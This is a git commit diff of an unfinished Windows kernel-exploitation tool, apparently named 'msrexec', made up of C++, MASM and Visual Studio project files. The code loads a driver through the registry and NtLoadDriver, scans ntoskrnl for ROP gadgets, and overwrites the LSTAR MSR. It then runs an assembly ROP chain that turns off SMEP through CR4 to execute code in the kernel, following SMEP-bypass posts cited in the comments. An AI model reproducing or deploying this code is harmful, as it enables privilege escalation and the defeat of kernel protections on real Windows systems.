init commit - stack is misaligned/something is causing page fault loops

merge-requests/1/head
_xeroxz 3 years ago
parent c9fc0d08c8
commit 93c45ecec2

@ -0,0 +1,263 @@
/*
MIT License
Copyright (c) 2020 xerox
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#pragma once
#include <Windows.h>
#include <Winternl.h>
#include <string>
#include <fstream>
#include <filesystem>
#include <ntstatus.h>
#include <time.h>
#pragma comment(lib, "ntdll.lib")
extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING);
extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING);
namespace driver
{
namespace util
{
inline auto delete_service_entry(const std::string& service_name) -> bool
{
HKEY reg_handle;
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
auto result = RegOpenKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) &&
ERROR_SUCCESS == RegCloseKey(reg_handle);;
}
inline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool
{
HKEY reg_handle;
std::string reg_key("System\\CurrentControlSet\\Services\\");
reg_key += service_name;
auto result = RegCreateKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
if (result != ERROR_SUCCESS)
return false;
std::uint8_t type_value = 1;
result = RegSetValueExA(
reg_handle,
"Type",
NULL,
REG_DWORD,
&type_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
std::uint8_t error_control_value = 3;
result = RegSetValueExA(
reg_handle,
"ErrorControl",
NULL,
REG_DWORD,
&error_control_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
std::uint8_t start_value = 3;
result = RegSetValueExA(
reg_handle,
"Start",
NULL,
REG_DWORD,
&start_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
result = RegSetValueExA(
reg_handle,
"ImagePath",
NULL,
REG_SZ,
(std::uint8_t*)drv_path.c_str(),
drv_path.size()
);
if (result != ERROR_SUCCESS)
return false;
return ERROR_SUCCESS == RegCloseKey(reg_handle);
}
inline auto enable_privilege(const std::wstring& privilege_name) -> bool
{
HANDLE token_handle = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
return false;
LUID luid{};
if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
return false;
TOKEN_PRIVILEGES token_state{};
token_state.PrivilegeCount = 1;
token_state.Privileges[0].Luid = luid;
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
return false;
CloseHandle(token_handle);
return true;
}
inline auto get_service_image_path(const std::string& service_name) -> std::string
{
HKEY reg_handle;
DWORD bytes_read;
char image_path[0xFF];
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
auto result = RegOpenKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
result = RegGetValueA(
reg_handle,
service_name.c_str(),
"ImagePath",
REG_SZ,
NULL,
image_path,
&bytes_read
);
RegCloseKey(reg_handle);
return std::string(image_path);
}
}
inline auto load(const std::string& drv_path, const std::string& service_name) -> NTSTATUS
{
if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
return false;
if (!util::create_service_entry("\\??\\" +
std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
return false;
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
return NtLoadDriver(&driver_reg_path_unicode);
}
inline auto load(const std::vector<std::uint8_t>& drv_buffer) -> std::pair<NTSTATUS, std::string>
{
static const auto random_file_name = [](std::size_t length) -> std::string
{
std::srand(std::time(0));
static const auto randchar = []() -> char
{
const char charset[] =
"0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";
const std::size_t max_index = (sizeof(charset) - 1);
return charset[rand() % max_index];
};
std::string str(length, 0);
std::generate_n(str.begin(), length, randchar);
return str;
};
const auto service_name = random_file_name(16);
const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
std::ofstream output_file(file_path.c_str(), std::ios::binary);
output_file.write((char*)drv_buffer.data(), drv_buffer.size());
output_file.close();
return { load(file_path, service_name), service_name };
}
inline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::pair<NTSTATUS, std::string>
{
std::vector<std::uint8_t> image(buffer, buffer + size);
return load(image);
}
inline auto unload(const std::string& service_name) -> NTSTATUS
{
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(
&driver_reg_path_unicode, &driver_rep_path_cstr, true);
const bool unload_result =
NtUnloadDriver(&driver_reg_path_unicode);
util::delete_service_entry(service_name);
// sometimes you cannot delete the driver off disk because there are still handles open
// to the driver, this means the driver is still loaded into the kernel...
try
{
std::filesystem::remove(
std::filesystem::temp_directory_path()
.string() + service_name);
}
catch (std::exception& e)
{
return STATUS_ABANDONED;
}
return unload_result;
}
}

@ -0,0 +1,37 @@
#include "msrexec.hpp"
#include "vdm.hpp"
#include <iostream>
int __cdecl main(int argc, char** argv)
{
const auto [drv_handle, drv_key, drv_status] = vdm::load_drv();
if (drv_status != STATUS_SUCCESS)
{
std::printf("> failed to load driver... reason -> 0x%x\n", drv_status);
return {};
}
std::printf("drv handle -> 0x%x, drv key -> %s, drv status -> 0x%x\n",
drv_handle, drv_key.c_str(), drv_status);
std::getchar();
std::printf("ntoskrnl base address -> 0x%p\n", utils::kmodule::get_base("ntoskrnl.exe"));
std::printf("NtShutdownSystem -> 0x%p\n", utils::kmodule::get_export("ntoskrnl.exe", "NtShutdownSystem"));
vdm::writemsr_t _write_msr =
[&](std::uint32_t reg, std::uintptr_t value) -> void
{ vdm::writemsr(reg, value); };
sizeof write_msr_t;
vdm::msrexec_ctx msrexec(_write_msr);
msrexec.exec([&]() -> void { int a = 10; });
const auto unload_result =
vdm::unload_drv(drv_handle, drv_key);
if (unload_result != STATUS_SUCCESS)
{
std::printf("> unable to unload driver... reason -> 0x%x\n", unload_result);
return {};
}
}

@ -0,0 +1,67 @@
#include "msrexec.hpp"
namespace vdm
{
msrexec_ctx::msrexec_ctx(writemsr_t wrmsr)
: wrmsr(wrmsr)
{
if (!m_mov_cr4_gadget)
m_mov_cr4_gadget =
utils::rop::find_kgadget(
MOV_CR4_GADGET, "xxxx");
if (!m_sysret_gadget)
m_sysret_gadget =
utils::rop::find_kgadget(
SYSRET_GADGET, "xx");
if (!m_pop_rcx_gadget)
m_pop_rcx_gadget =
utils::rop::find_kgadget(
POP_RCX_GADGET, "xx") + 2;
if (m_kpcr_rsp_offset && m_kpcr_krsp_offset)
return;
m_smep_off = 0x6F8; // TODO construct cr4 value...
m_smep_on = 0x6F8;
const auto [section_data, section_rva] =
utils::pe::get_section(
reinterpret_cast<std::uintptr_t>(
LoadLibraryA("ntoskrnl.exe")), ".text");
const auto ki_system_call =
utils::scan(reinterpret_cast<std::uintptr_t>(
section_data.data()), section_data.size(),
KI_SYSCALL_SIG, KI_SYSCALL_MASK);
m_system_call = (ki_system_call -
reinterpret_cast<std::uintptr_t>(
section_data.data())) + section_rva +
utils::kmodule::get_base("ntoskrnl.exe");
/*
.text:0000000140406CC0 KiSystemCall64
.text:0000000140406CC0 0F 01 F8 swapgs
.text:0000000140406CC3 65 48 89 24 25 10 00 00 00 mov gs:10h, rsp <====== + 8 bytes for gs offset...
.text:0000000140406CCC 65 48 8B 24 25 A8 01 00 00 mov rsp, gs:1A8h <======= + 17 bytes for gs offset...
*/
m_kpcr_rsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 8);
m_kpcr_krsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 17);
std::printf("> m_pop_rcx_gadget -> 0x%p\n", m_pop_rcx_gadget);
std::printf("> m_mov_cr4_gadget -> 0x%p\n", m_mov_cr4_gadget);
std::printf("> m_sysret_gadget -> 0x%p\n", m_sysret_gadget);
std::printf("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset);
std::printf("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset);
std::printf("> m_system_call -> 0x%p\n", m_system_call);
std::getchar();
}
void msrexec_ctx::exec(callback_t kernel_callback)
{
wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget);
syscall_wrapper();
}
}

@ -0,0 +1,39 @@
#pragma once
#include "utils.hpp"
#define IA32_LSTAR_MSR 0xC0000082
#define MOV_CR4_GADGET "\x0F\x22\xE1\xC3"
#define POP_RCX_GADGET "\x59\xc3"
#define SYSRET_GADGET "\x0F\x07"
#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B"
#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xx"
static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size...");
extern "C" std::uint32_t m_kpcr_rsp_offset;
extern "C" std::uint32_t m_kpcr_krsp_offset;
extern "C" std::uintptr_t m_pop_rcx_gadget;
extern "C" std::uintptr_t m_mov_cr4_gadget;
extern "C" std::uintptr_t m_sysret_gadget;
extern "C" std::uintptr_t m_smep_on;
extern "C" std::uintptr_t m_smep_off;
extern "C" std::uintptr_t m_system_call;
extern "C" void syscall_wrapper();
namespace vdm
{
using callback_t = std::function<void()>;
using writemsr_t = std::function<void(std::uint32_t, std::uintptr_t)>;
class msrexec_ctx
{
public:
explicit msrexec_ctx(writemsr_t wrmsr);
void exec(callback_t kernel_callback);
private:
writemsr_t wrmsr;
};
}

@ -0,0 +1,25 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.30907.101
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "msrexec", "msrexec.vcxproj", "{FF98A868-E696-42C7-84CC-D6056BA4DD14}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{FF98A868-E696-42C7-84CC-D6056BA4DD14}.Debug|x64.ActiveCfg = Debug|x64
{FF98A868-E696-42C7-84CC-D6056BA4DD14}.Debug|x64.Build.0 = Debug|x64
{FF98A868-E696-42C7-84CC-D6056BA4DD14}.Release|x64.ActiveCfg = Release|x64
{FF98A868-E696-42C7-84CC-D6056BA4DD14}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {EA5814C9-6ACA-4309-B3B1-A4D18C2C9AF2}
EndGlobalSection
EndGlobal

@ -0,0 +1,104 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<ItemGroup>
<ClInclude Include="loadup.hpp" />
<ClInclude Include="msrexec.hpp" />
<ClInclude Include="raw_driver.hpp" />
<ClInclude Include="syscall_handler.h" />
<ClInclude Include="utils.hpp" />
<ClInclude Include="vdm.hpp" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.cpp" />
<ClCompile Include="msrexec.cpp" />
</ItemGroup>
<ItemGroup>
<MASM Include="syscall_handler.asm">
<FileType>Document</FileType>
</MASM>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{ff98a868-e696-42c7-84cc-d6056ba4dd14}</ProjectGuid>
<RootNamespace>msrexec</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>

@ -0,0 +1,46 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClInclude Include="loadup.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="raw_driver.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="syscall_handler.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="utils.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="vdm.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="msrexec.hpp">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="msrexec.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<None Include="syscall_handler.asm">
<Filter>Source Files</Filter>
</None>
</ItemGroup>
</Project>

@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

File diff suppressed because it is too large Load Diff

@ -0,0 +1,73 @@
.data
; offsets into _KPCR/_KPRCB
m_kpcr_rsp_offset dq 0h
m_kpcr_krsp_offset dq 0h
m_system_call dq 0h
m_mov_cr4_gadget dq 0h
m_sysret_gadget dq 0h
m_pop_rcx_gadget dq 0h
m_smep_on dq 0h
m_smep_off dq 0h
; all of these are setup by the c++ code...
public m_smep_on
public m_smep_off
public m_kpcr_rsp_offset
public m_kpcr_krsp_offset
public m_pop_rcx_gadget
public m_mov_cr4_gadget
public m_sysret_gadget
public m_system_call
.code
syscall_handler proc
cli ; smep is disabled and LSTAR is still not restored at this point... ; we dont want the thread schedular to smoke us...
swapgs ; swap gs to kernel gs, and switch to kernel stack...
mov gs:m_kpcr_rsp_offset, rsp
mov rsp, gs:m_kpcr_krsp_offset
push rcx ; push RIP
push r11 ; push EFLAGS
mov rcx, r10 ; swapped by syscall...
sub rsp, 020h
; call msrexec_handler
add rsp, 020h
pop r11 ; pop EFLAGS
pop rcx ; pop RIP
mov rsp, gs:m_kpcr_rsp_offset ; restore rsp...
swapgs
sti ; we will be enabling smep in the next return...
mov rax, m_smep_on ; cr4 will be set to rax in the next return...
ret
syscall_handler endp
syscall_wrapper proc
push r10
mov r10, rcx ; rcx contains RIP after syscall instruction is executed...
push m_sysret_gadget ; rop to sysret...
lea rax, finish ; push rip back into rax...
push rax
push m_pop_rcx_gadget
push m_mov_cr4_gadget ; enable smep...
push m_smep_on
push m_pop_rcx_gadget
lea rax, syscall_handler ; rop from mov cr4 gadget to syscall handler...
push rax
push m_mov_cr4_gadget ; rop from syscall handler to enable smep again...
push m_smep_off ; gets pop'ed into rcx by gadget at LSTAR...
syscall
finish:
pop r10
ret
syscall_wrapper endp
end

@ -0,0 +1,6 @@
#pragma once
extern "C" unsigned long long cr4_value;
extern "C" unsigned long kpcr_rsp_offset;
extern "C" unsigned long kpcr_krsp_offset;
extern "C" void syscall_handler(unsigned long long rip);

@ -0,0 +1,377 @@
/*
WARNING: utils.hpp must be the first file included...
this is because i use getenv and that requires _CRT_SECURE_NO_WARNINGS...
*/
#pragma once
#define _CRT_SECURE_NO_WARNINGS
#pragma comment(lib, "ntdll.lib")
#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <tlhelp32.h>
#include <functional>
#include <cstdint>
#include <string>
#include <vector>
#include <map>
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES
{
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
namespace utils
{
inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask)
{
static const auto check_mask =
[&](const char* base, const char* pattern, const char* mask) -> bool
{
for (; *mask; ++base, ++pattern, ++mask)
if (*mask == 'x' && *base != *pattern)
return false;
return true;
};
size -= strlen(mask);
for (auto i = 0; i <= size; ++i)
{
void* addr = (void*)&(((char*)base)[i]);
if (check_mask((char*)addr, pattern, mask))
return reinterpret_cast<std::uintptr_t>(addr);
}
return NULL;
}
inline std::uint32_t get_pid(const wchar_t* proc_name)
{
PROCESSENTRY32 proc_info;
proc_info.dwSize = sizeof(proc_info);
HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (proc_snapshot == INVALID_HANDLE_VALUE)
return NULL;
Process32First(proc_snapshot, &proc_info);
if (!wcscmp(proc_info.szExeFile, proc_name))
{
CloseHandle(proc_snapshot);
return proc_info.th32ProcessID;
}
while (Process32Next(proc_snapshot, &proc_info))
{
if (!wcscmp(proc_info.szExeFile, proc_name))
{
CloseHandle(proc_snapshot);
return proc_info.th32ProcessID;
}
}
CloseHandle(proc_snapshot);
return NULL;
}
namespace kmodule
{
using kmodule_callback_t = std::function<bool(PRTL_PROCESS_MODULE_INFORMATION, const char*)>;
inline void each_module(kmodule_callback_t callback)
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
auto status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer, buffer_size, &buffer_size);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, NULL, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, NULL, MEM_RELEASE);
return;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
auto full_path = std::string(
reinterpret_cast<char*>(
modules->Modules[idx].FullPathName));
if (full_path.find("\\SystemRoot\\") != std::string::npos)
full_path.replace(full_path.find("\\SystemRoot\\"),
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
else if (full_path.find("\\??\\") != std::string::npos)
full_path.replace(full_path.find("\\??\\"),
sizeof("\\??\\") - 1, "");
if (!callback(&modules->Modules[idx], full_path.c_str()))
{
VirtualFree(buffer, NULL, MEM_RELEASE);
return;
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return;
}
inline std::uintptr_t get_base(const char* module_name)
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
auto status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer, buffer_size, &buffer_size);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, NULL, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
const auto current_module_name =
std::string(reinterpret_cast<char*>(
modules->Modules[idx].FullPathName) +
modules->Modules[idx].OffsetToFileName);
if (!_stricmp(current_module_name.c_str(), module_name))
{
const auto result =
reinterpret_cast<std::uint64_t>(
modules->Modules[idx].ImageBase);
VirtualFree(buffer, NULL, MEM_RELEASE);
return result;
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
inline std::uintptr_t get_export(const char* module_name, const char* export_name)
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
NTSTATUS status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer,
buffer_size,
&buffer_size
);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, 0, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
buffer,
buffer_size,
&buffer_size
);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, 0, MEM_RELEASE);
return NULL;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
// find module and then load library it
const std::string current_module_name =
std::string(reinterpret_cast<char*>(
modules->Modules[idx].FullPathName) +
modules->Modules[idx].OffsetToFileName
);
if (!_stricmp(current_module_name.c_str(), module_name))
{
auto full_path = std::string(
reinterpret_cast<char*>(
modules->Modules[idx].FullPathName));
full_path.replace(full_path.find("\\SystemRoot\\"),
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
const auto module_base =
LoadLibraryExA(
full_path.c_str(),
NULL,
DONT_RESOLVE_DLL_REFERENCES
);
const auto image_base =
reinterpret_cast<std::uintptr_t>(
modules->Modules[idx].ImageBase);
// free the RTL_PROCESS_MODULES buffer...
VirtualFree(buffer, NULL, MEM_RELEASE);
const auto rva =
reinterpret_cast<std::uintptr_t>(
GetProcAddress(module_base, export_name)) -
reinterpret_cast<std::uintptr_t>(module_base);
return image_base + rva;
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
}
namespace pe
{
using section_callback_t = std::function<bool(PIMAGE_SECTION_HEADER, std::uintptr_t)>;
// returns an std::vector containing all of the bytes of the section
// and also the RVA from the image base to the beginning of the section...
inline std::pair<std::vector<std::uint8_t>, std::uint32_t> get_section(std::uintptr_t module_base, const char* section_name)
{
const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
const auto section_header =
reinterpret_cast<PIMAGE_SECTION_HEADER>(
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
{
const auto _section_name =
reinterpret_cast<char*>(
section_header[idx].Name);
if (!strcmp(_section_name, section_name))
{
const auto section_base =
reinterpret_cast<std::uint8_t*>(
module_base + section_header[idx].VirtualAddress);
const auto section_end =
reinterpret_cast<std::uint8_t*>(
section_base + section_header[idx].Misc.VirtualSize);
std::vector<std::uint8_t> section_bin(section_base, section_end);
return { section_bin, section_header[idx].VirtualAddress };
}
}
return { {}, {} };
}
inline void each_section(section_callback_t callback, std::uintptr_t module_base)
{
if (!module_base)
return;
const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
const auto section_header =
reinterpret_cast<PIMAGE_SECTION_HEADER>(
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
{
const auto _section_name =
reinterpret_cast<char*>(
section_header[idx].Name);
// keep looping until the callback returns false...
if (!callback(&section_header[idx], module_base))
return;
}
}
}
namespace rop
{
// https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/
// http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html?m=1
// just implimented the rop information from these posts...
inline std::uintptr_t find_kgadget(const char* sig, const char* mask)
{
std::uintptr_t result = 0u;
kmodule::each_module(
[&](auto kernel_image, const char* image_name) -> bool
{
utils::pe::each_section(
[&](auto section_header, std::uintptr_t image_base) -> bool
{
if (section_header->Characteristics & IMAGE_SCN_CNT_CODE &&
